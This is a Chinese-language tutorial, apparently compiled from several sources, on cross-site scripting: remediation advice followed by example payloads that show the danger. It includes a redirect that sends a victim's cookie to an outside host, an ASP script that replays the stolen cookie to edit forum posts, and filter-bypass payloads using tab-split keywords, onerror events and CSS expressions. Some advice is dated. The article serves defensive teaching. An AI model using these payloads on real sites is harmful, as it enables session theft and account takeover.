XSS跨站脚本漏洞修复建议- 如何防御CSS CrossSiteScript 跨站脚本攻击

XSS跨站脚本漏洞修复建议- 如何防御CSS CrossSiteScript 跨站脚本攻击

小心XSS跨站脚本漏洞

Web的安全问题越来越严重，漏洞总是在不停的出现，而我们以前一直在做的都是打补丁，就这样漏洞、补丁、补丁、漏洞的恶忄生循环着。其实很多的攻击都是可以预防的，只要我们做好前期的工作。

XSS跨站脚本漏洞修复建议

1、假定所有输入都是可疑的，必须对所有输入中的script、iframe等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口，也包括HTTP请求中的Cookie中的变量，HTTP请求头部中的变量等。

2、不要仅仅验证数据的类型，还要验证其格式、长度、范围和内容。

3、不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务喘进行。

4、对输出的数据也要检查，数据库里的值有可能会在一个大网站的多处都有输出，即使在输入做了编码等操作，在各处的输出点时也要进行安全检查。

5、在网站发布之前建议测试所有已知的威胁。

XSS跨站脚本漏洞修复

根据最新的统计显示，跨站脚本、信息泄漏和SQL注入这三个安全漏洞是最容易受到攻击的，而跨站脚本攻击XSS又在其中占了一半以上的份额，所以这里我们要谈谈如何做好基本的对付XSS的防御工作，让我们的Web环境更加安全。

XSS又叫CSS(CrossSiteScript)，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。

我们先来了解一下XSS主要的攻击手段：

1、依赖跨站漏洞，需要在被攻击网站的页面种入脚本的手法，包括cookie盗取，通过javascript获取被攻击网站种下的cookie，并发送给攻击者，从cookie中提取密码等隐私，利用cookie亻为造session，发起重放攻击。另外还有包括Ajex信息盗取，通过javascript发起ajex请求，从ajex结果中获取隐私，模拟用户完成多页表单。

2、不依赖跨站漏洞的手法，包括单向HTTP动作，通过img.src等方法发起跨站访问，冒充被攻击者执行特权操作。但是很难拿到服务器的返回值。还包括双向HTTP动作，如果服务器产生一段动态的script，那么可以用script.src的方法发起跨站访问并拿到服务器的返回值。

下面看看具体的防御措施：

1、防堵跨站漏洞，阻止攻击者利用在被攻击网站上发布跨站攻击语句

不可以信任用户提交的任何内容，首先代码里对用户输入的地方和变量都需要仔细检查长度和对”<”，”>”，”；”，”’”等字符做过滤；其次任何内容写到页面之前都必须加以encode，避免不小心把htmltag弄出来。这一个层面做好，至少可以堵住超过一半的XSS攻击。

2、cookie防盗

首先避免直接在cookie中泄露用户隐私，例如email、密码等等。其次通过使cookie和系统ip绑定来降低cookie泄露后的危险。这样攻击者得到的cookie没有实际价值，不可能拿来重放。

3、尽量采用POST而非GET提交表单

POST操作不可能绕开javascript的使用，这会给攻击者增加难度，减少可利用的跨站漏洞。

4、严格检查refer

检查httprefer是否来自预料中的url。这可以阻止第2类攻击手法发起的http请求，也能防止大部分第1类攻击手法，除非正好在特权操作的引用页上种了跨站访问。

5、将单步流程改为多步，在多步流程中引入效验码

多步流程中每一步都产生一个验讠正码作为hidden表单元素嵌在中间页面，下一步操作时这个验讠正码被提交到服务器，服务器检查这个验讠正码是否匹配。首先这为第1类攻击者大大增加了麻烦。其次攻击者必须在多步流程中拿到上一步产生的效验码才有可能发起下一步请求，这在第2类攻击中是几乎无法做到的。

6、引入用户交互

简单的一个看图识数可以堵住几乎所有的非预期特权操作。

7、只在允许anonymous访问的地方使用动态的javascript。

8、对于用户提交信息的中的img等link，检查是否有重定向回本站、不是真的图片等可疑操作。

9、内部管理网站的问题

很多时候，内部网站往往疏于关注安全问题，只是简单的限制访问来源。这种网站往往对XSS攻击毫无抵抗力，需要多加注意。

虽然XSS的攻击很灵活，只要我们能做好上述几点，是可以组织大部分XSS的，再及时打好补丁可以最大程度的减少来自跨站脚本攻击XSS的威胁。

跨站漏洞的危害

最近在很多程序中发现了跨站漏洞，不过在跟朋友交流的过程中发现对于跨站漏洞的危害，好多人认识是不正确的，以为跨站漏洞只不过是弹出个对话框，页面做个转向那么简单，然而实际上，跨站漏洞绝对是一个高危漏洞，尤其是对于有会员以及身份验讠正的程序来说。并不是什么高深的东西，只是让大家有个意识，意识到跨站漏洞很危险.

把下面代码保存为test.php，我们就假设这个代码是在一个存在跨站漏洞的站点上的。很显然这段代码就存在跨站漏洞。

跨站漏洞的基本危害主要有：

一、可以让你的网站弹出讨厌的对话框。

test.php?a=<script>alert("just have a test");</script>

二、可以使网站转向。

test.php?a=<script>top.location.href="http://readlog.cn";</script>

三、可以弹出正在浏览这个网站的用户的cookie.

test.php?a=<script>alert(document.cookie);</script>

四、可以构造死循环，让浏览者CPU占用100%

test.php?a=<script>while(true)true;</script>

由这些基本危害，可以衍生出很多很严重的危害（第一和第四个对于安全方面没有太大问题，这里就不再继续说了).

下面就来扩展一下危害。

先来想象一下，假如你是一个论坛管理员，你想要把一个帖子设置为米青华，你要怎么做？一般都是去点一个设置帖子为米青华的链接吧，假如，我现在利用跨站漏洞让浏览器转向到这个设置米青华的链接，也就相当于管理员点了链接。

test.php?a=<script>top.location.href='AdminTopic.asp?Action=SetGood&TopicID=14673';</script>

这样编号14673的帖子就被设置为精华了。假如我把设置为米青华的那个链接换成删除帖子的链接呢？

不过上述方法有局限性，一些通过POST发送的，比如编辑帖子，通过上面的方法实现就比较困难（并非不能实现，js用xmlhttp同样可以），那么，我们考虑一下，网站管理员的机器和我的机器有什么不同呢？一般说来，只有cookie里面的数据是不同的。大多数asp站点都是利用cookie来验讠正用户身份的，假如我能够获得跟管理员一样的cookie，那我得到cookie之后，就可以利用自己的程序随意操作了，怎么得到cookie呢？

test.php?a=<script>top.location.href="http://readlog.cn/get.asp?"+document.cookie;</script>

假如管理员点了这个链接，他的浏览器就会转向到http://readlog.cn/get.asp,同时把他的cookie缀在?后面发送过来。

get.asp中直接利用request("query_string")就可以得到cookie了，然后，构造数据发送出去就可以了。下面是get.asp的演示代码：

<%

Dim cookie,xml,data

cookie=request("query_string")

data="title=aaaa&content=bbbb" '要把帖子的标题和内容修改

Set xml= Server.CreateObject("Microsoft.XMLHTTP")

xml.Open "POST", "http://xxx/SaveEdit.asp?TopicID=14673", False '编辑帖子

xml.setrequestheader "content-length",len(data)

xml.setRequestHeader "Cookie",cookie

xml.Send(data)

%>

如果我们把这个做成一个循环，就可以编辑所有的帖子。

实际操作中，可能还需要一些辅力手段，用于欺骗管理员或者有高权限的人来直接或者间接的点你的链接。

跨站漏洞可以利用的手段很多，这里也仅仅提到了一些，还是那句话，只是想让一些认为跨站漏洞没什么大不了的的人意识到，跨站漏洞有多么的危险。

网络上曾经有过关于跨站脚本攻击与防御的文章，但是随着攻击技术的进步，以前的关于跨站脚本攻击的看法与理论已经不能满足现在的攻击与防御的需要了，而且由于这种对于跨站脚本认识上的混乱，导致现在很多的程序包括现在的动网都存在着跨站脚本过滤不严的问题，希望本文能给写程序的与研究程序的带来一点思路。

还是首先看看跨站脚本漏洞的成因，所谓跨站脚本漏洞其实就是Html的注入问题，恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户，导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码，数据流程如下：

恶意用户的Html输入————>web程序————>进入数据库————>web程序————>用户浏览器

这样我们就可以清楚的看到Html代码是如何进入受害者浏览器的了，我们也就可以根据这个流程来讨论跨站脚本的攻击与防御了！

1 什么是HTml输入？

这里给出一个HTml代码的示例

<img src="http://www.loveshell.jpg" width=100 οnerrοr=alert("载入图片错误!")>

很多的程序最终都是将用户的输入转换成这种形式的。可以看到<>是告诉浏览器这是一个Html标记，img是这个Html标记的名称，src是这个标记的第一个属忄生，=后面是这个属忄生的值，后面的width是第二个属忄生，onerror是标记的事件属忄生。大家可以看到，一个Html标记是包括很多元素的，并不是传统意义上的只有输入<>才会注入Html，事实上只要你的输入处在Html标签内，产生了新的元素或者属忄生，就实现了跨站脚本攻击！实际上大多数隐秘的跨站脚本攻击是不需要<>的，因为现在的Ubb标签已经让你处在了Html标记之内，很有意思，不是么？

2 哪里才是罪恶的来源？

既然我们的目标是引入代码在目标用户的浏览器内执行，那么我们来看看哪些地方可以引入HTml代码吧！如果用户可以不受限制的引入<>，那么很显然他可以完全操纵一个Html标记，譬如<script>alert('xss')</script>这样的形式，这对于追求安全的程序来说是绝对不允许的，所以首先要做转换的就是<>，通过如下代码：

过滤代码：

replace(str,"<","<")

replace(str,">",">")

好了，用户可能不能构造自己的HTml标记了，那么利用已经存在的属忄生如何呢？下面的代码依然可以工作得很好：

<img src="javascript:alert(/xss/)" width=100>

因为很多的Html标记里属忄生都支持javascript:[code]的形式，很好，很多的程序意识到了这一点，可能做了如下的转换：

过滤代码

Dim re

Set re=new RegExp

re.IgnoreCase =True

re.Global=True

re.Pattern="javascript:"

Str = re.replace(Str,"javascript：")

re.Pattern="jscript:"

Str = re.replace(Str,"jscript：")

re.Pattern="vbscript:"

Str = re.replace(Str,"vbscript：")

set re=nothing

你看，只要发现以javascript等脚本属忄生的形式都会被过滤掉，失去了:的脚本代码是起不了作用的！这样完美了么？事实上Html属忄生的值，注意是值而不是属忄生本身是支持&#ASCii这种形式表示的，譬如上面的代码可以换成这样：

<img src="javascript:alert(/xss/)" width=100>

代码又执行了，呵呵！看来你漏掉了点什么哦，加上这个代码吧！

replace(str,"&","&")

行了，&失去它原来的意义了，用户不能以其他方式表示Html属忄生值了哦！等等，这样的过滤真可以相信么？只要发现这种过滤的关键字机制，饶过就是简单的问题了：

<img src="javas cript:alert(/xss/)" width=100>

没有javascript关键字了哦！注意中间那个是tab键弄出来的！关键字被拆分了哦！这是个很麻烦的问题，很多人忘记了这些特殊的字符，呵呵！有人想到要过滤空格了，在过滤之前我们再看看其他的一些东西吧！也许我们现在所处的src属忄生已经无法利用了，但是我们依然可以产生自己的属忄生或者事件机制哦！依然是可以执行Html代码的，首先说说事件机制吧：

<img src="#" οnerrοr=alert(/xss/)>

这样依然可以执行代码的哦！明白问题出在哪了，不是么？有的程序员仿佛明白了，注意我说的是仿佛，动网就是一个典型的例子，事件属忄生不是要onerror么？很多人开始用正则表达式了，发现关键的词如onerror就会做转换或者提示用户不执行，是不是没有机会了呢？

当然不是的，事件只是让代码运行的一种方法而不是所有的，可以定义事件了那么也就可以实现自己弄出自己的属忄生了，试试下面的：

<img src="#" style="Xss:expression(alert(/xss/));">

呵呵，还是执行了哦！在做关键字过滤之后有人发现是不是属忄生之间分隔要用到空格，好，他们把空格堵死了（这样认为的人很多，呵呵）！将空格转成 是个很普遍的方法？是么？甚至还可以让别人无法关键字拆分，不要太自信了，试试下面的代码看看如何：

<img src="#"/**/οnerrοr=alert(/xss/) width=100>

嘿嘿，Good Work!这好象是利用了脚本里注释会被当作一个空白来表示造成的！那怎么办呢？上面提到的好象一直都是在进行被动的攻击防御，为什么不抓住他的本源出来呢？哪里出了问题哪里堵上！

上面的问题好象本质上就是一个东西，那就是用户超越了他所处的标签，也就是数据和代码的混淆，对付这种混淆的办法就是限制监牢，让用户在一个安全的空间内活动，这通过上面的分析大家也可能已经知道，只要在过滤了<>这两个人人都会去杀的字符之后就可以把用户的输入在输出的时候放到""之间，现在的一般的程序都是这样做的，譬如img]http://www.loveshell.net[/img]将会转化成<img src="http://www.loveshell.net">这是个好的安全习惯，然后呢？就要让用户的输入处在安全的领域里了，这可以通过过滤用户输入里""实现，但是不要忘记了，这个标签本身也是不安全的，过滤掉空格和tab键就不用担心关键字被拆分饶过了，然后就是用文章中提到的办法过滤掉script关键字，最后就是防止用户通过&#这样的形式饶过检查，转换掉&吧！

在文章中开始提到的图里可以看到，数据的转换和过滤是可以在3个地方进行转换的，在接受数据的时候可以转换下，在进入数据库的时候可以转换下，在输出数据的时候也可以转换下，但是困惑在哪里呢？不得不面对一个问题就是许多时候程序员舍不得为安全做出那么大的应用上的牺牲，安全是要有代价的，譬如现在邮箱的就不愿意舍弃html标签，所以他们侧重于XSS的IDS检测的忄生质，只要发现不安全的东西就会转化，但是攻击是无法预知的，漂亮的东西总是脆弱的，有限制，肯定就有人会饶过，呵呵。本文没什么技术含量，只是希望搞安全的脚本人员能更加的了解Xss，跨站，不是那么简单。